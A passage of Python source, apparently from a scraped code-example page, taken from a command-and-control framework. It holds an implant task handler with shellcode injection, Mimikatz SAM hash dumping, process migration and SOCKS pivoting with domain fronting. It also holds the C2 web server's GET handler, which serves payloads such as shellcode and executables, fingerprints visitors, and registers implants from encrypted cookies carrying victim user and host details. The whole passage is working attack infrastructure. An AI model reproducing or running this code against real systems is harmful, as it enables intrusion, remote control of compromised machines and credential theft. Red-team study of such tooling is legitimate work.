            kill_implant(randomuri)

    elif command.startswith("unhide-implant"):
        unhide_implant(randomuri)

    elif command.startswith("hide-implant"):
        kill_implant(randomuri)

    elif command.startswith("migrate"):
        params = re.compile("migrate", re.IGNORECASE)
        params = params.sub("", command)
        migrate(randomuri, user, params)

    elif command.startswith("loadmoduleforce"):
        params = re.compile("loadmoduleforce ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user, force=True)

    elif command.startswith("loadmodule"):
        params = re.compile("loadmodule ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user)

    elif command.startswith("pbind-loadmodule"):
        params = re.compile("pbind-loadmodule ", re.IGNORECASE)
        params = params.sub("", command)
        new_task(("pbind-loadmodule %s" % params), user, randomuri)

    elif command.startswith("invoke-daisychain"):
        check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user)
        urls = get_allurls()
        new_task("%s -URLs '%s'" % (command, urls), user, randomuri)
        print("Now use createdaisypayload")

    elif command.startswith("inject-shellcode"):
        params = re.compile("inject-shellcode", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
        style = Style.from_dict({
            '': '#80d130',
        })
        session = PromptSession(history=FileHistory('%s/.shellcode-history' %
                                                    ROOTDIR),
                                auto_suggest=AutoSuggestFromHistory(),
                                style=style)
        try:
            path = session.prompt("Location of shellcode file: ",
                                  completer=FilePathCompleter(
                                      PayloadsDirectory, glob="*.bin"))
            path = PayloadsDirectory + path
        except KeyboardInterrupt:
            commandloop(implant_id, user)
        try:
            shellcodefile = load_file(path)
            if shellcodefile is not None:
                arch = "64"
                new_task(
                    "$Shellcode%s=\"%s\" #%s" %
                    (arch, base64.b64encode(shellcodefile).decode("utf-8"),
                     os.path.basename(path)), user, randomuri)
                new_task(
                    "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s"
                    % (arch, params), user, randomuri)
        except Exception as e:
            print("Error loading file: %s" % e)

    elif command == "listmodules":
        modules = os.listdir("%s/Modules/" % POSHDIR)
        print("")
        print("[+] Available modules:")
        print("")
        for mod in modules:
            if ".ps1" in mod:
                print(mod)
        new_task(command, user, randomuri)

    elif command == "modulesloaded":
        ml = get_implantdetails(randomuri)
        print(ml[14])

    elif command == "ps":
        new_task("get-processlist", user, randomuri)

    elif command == "hashdump":
        check_module_loaded("Invoke-Mimikatz.ps1", randomuri, user)
        new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", user,
                 randomuri)

    elif command == "stopdaisy":
        update_label("", randomuri)
        new_task(command, user, randomuri)

    elif command == "stopsocks":
        update_label("", randomuri)
        new_task(command, user, randomuri)

    elif command == "sharpsocks":
        check_module_loaded("SharpSocks.ps1", randomuri, user)
        import string
        from random import choice
        allchar = string.ascii_letters
        channel = "".join(choice(allchar) for x in range(25))
        sharpkey = gen_key().decode("utf-8")
        sharpurls = get_sharpurls()
        sharpurl = select_item("HostnameIP", "C2Server")
        sharpport = select_item("ServerPort", "C2Server")
        dfheader = select_item("DomainFrontHeader", "C2Server")
        implant = get_implantdetails(randomuri)
        pivot = implant[15]
        if pivot != "PS":
            sharpurl = input("Enter the URL for SharpSocks: ")
        if (sharpport != 80 and sharpport != 443):
            if (sharpurl.count("/") >= 3):
                pat = re.compile(r"(?<!/)/(?!/)")
                sharpurl = pat.sub(":%s/" % sharpport, str, 1)
            else:
                sharpurl = ("%s:%s" % (sharpurl, sharpport))

        print(
            POSHDIR +
            "SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" %
            (channel, sharpkey, SocksHost) + Colours.GREEN)
        ri = input(
            "Are you ready to start the SharpSocks in the implant? (Y/n) ")
        if ri.lower() == "n":
            print("")
        if (ri == "") or (ri.lower() == "y"):
            taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (
                sharpurl, channel, sharpkey, sharpurls)
            if dfheader:
                taskcmd += " -DomainFrontURL %s" % dfheader
            new_task(taskcmd, user, randomuri)
            update_label("SharpSocks", randomuri)

    elif command == "history":
        startup(user, get_history())

    elif command.startswith("reversedns"):
        params = re.compile("reversedns ", re.IGNORECASE)
        params = params.sub("", command)
        new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, user,
                 randomuri)

    elif command.startswith("createdaisypayload"):
        createdaisypayload(user, startup)

    elif command.startswith("createproxypayload"):
        createproxypayload(user, startup)

    elif command.startswith("createnewpayload"):
        createproxypayload(user, startup)

    else:
        if command:
            new_task(command, user, randomuri)
        return
Example #6
0
    def do_GET(s):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path),
                     str(s.headers))
        new_implant_url = get_newimplanturl()
        s.cookieHeader = s.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        s.server_version = ServerHeader
        s.sys_version = ""
        if not s.cookieHeader:
            s.cookieHeader = "NONE"

        # implant gets a new task
        new_task = newTask(s.path)

        if new_task:
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(new_task)

        elif ("/_utm.gif") in s.path:
            logs = ""
            ip_address = ["From: %s" % s.address_string()]
            profiler = base64.b64decode(
                urlparse.parse_qs(
                    s.path)['/_utm.gif?utmje'][0]).split("|") + ip_address
            logs += "%s visit from: %s" % (s.log_date_time_string(),
                                           profiler[0]) + "\n"

            for profile in profiler[1::]:
                logs += "\t%s\n" % profile
            logs += "\n"

            open("%ssystem_profiler.log" % ROOTDIR, "a").write(logs)
            s.send_response(200)
            s.end_headers()
            s.wfile.write("")

        elif ("%s_js" % QuickCommandURI) in s.path:
            filename = "%sFiles/fingerprint.js" % POSHDIR
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.end_headers()
            s.wfile.write(content)

        elif (SYSTEM_PROFILER) in s.path:
            content = """<!DOCTYPE html><html><head><title></title></head><body><noscript>Please enable javascript!</noscript><script type="text/javascript" src="%s/%s_js"></script></body></html>""" % (
                HostnameIP, QuickCommandURI)
            s.send_response(200)
            s.send_header("Refresh", "0.3;%s" % SYSTEM_PROFILER_REDIRECT)
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_bs" % QuickCommandURI) in s.path:
            filename = "%spayload.bat" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in s.path:
            filename = "%srg_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%spotal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%slogin" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in s.path:
            filename = "%scs_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in s.path:
            filename = "%saes.py" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
                content = "a" + "".join("{:02x}".format(ord(c))
                                        for c in content)
            s.send_response(200)
            s.send_header("Content-type", "text/plain")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex" % QuickCommandURI) in s.path:
            filename = "%sPosh32.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex6" % QuickCommandURI) in s.path:
            filename = "%sPosh64.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)
        # register new implant
        elif new_implant_url in s.path and s.cookieHeader.startswith(
                "SessionID"):
            implant_type = "Normal"
            if s.path == ("%s?p" % new_implant_url):
                implant_type = "Proxy"
            if s.path == ("%s?d" % new_implant_url):
                implant_type = "Daisy"
            if s.path == ("%s?m" % new_implant_url):
                implant_type = "OSX"
            if s.path == ("%s?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?p?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?d?c" % new_implant_url):
                implant_type = "C#"

            if implant_type == "C#":
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                user = User.decode("utf-8")
                if "\\" in user:
                    user = user[user.index("\\") + 1:]
                newImplant = Implant(IPAddress, implant_type,
                                     Domain.decode("utf-8"), user,
                                     Hostname.decode("utf-8"), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.SharpCore)
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)

            elif implant_type == "OSX":
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
                newImplant = Implant(IPAddress, implant_type,
                                     Domain.decode("utf-8"),
                                     User.decode("utf-8"),
                                     Hostname.decode("utf-8"), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.PythonCore)

                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)
            else:
                try:
                    cookieVal = (s.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    IPAddress = "%s:%s" % (s.client_address[0],
                                           s.client_address[1])
                    user = User.decode("utf-8")
                    if "\\" in user:
                        user = user[user.index('\\') + 1:]
                    newImplant = Implant(IPAddress, implant_type,
                                         Domain.decode("utf-8"), user,
                                         Hostname.decode("utf-8"), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.PSCore)

                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(responseVal)
                except Exception as e:
                    print("Decryption error: %s" % e)
                    s.send_response(404)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(HTTPResponse)
        else:
            s.send_response(404)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            HTTPResponsePage = select_item("HTTPResponse", "C2Server")
            if HTTPResponsePage:
                s.wfile.write(HTTPResponsePage)
            else:
                s.wfile.write(HTTPResponse)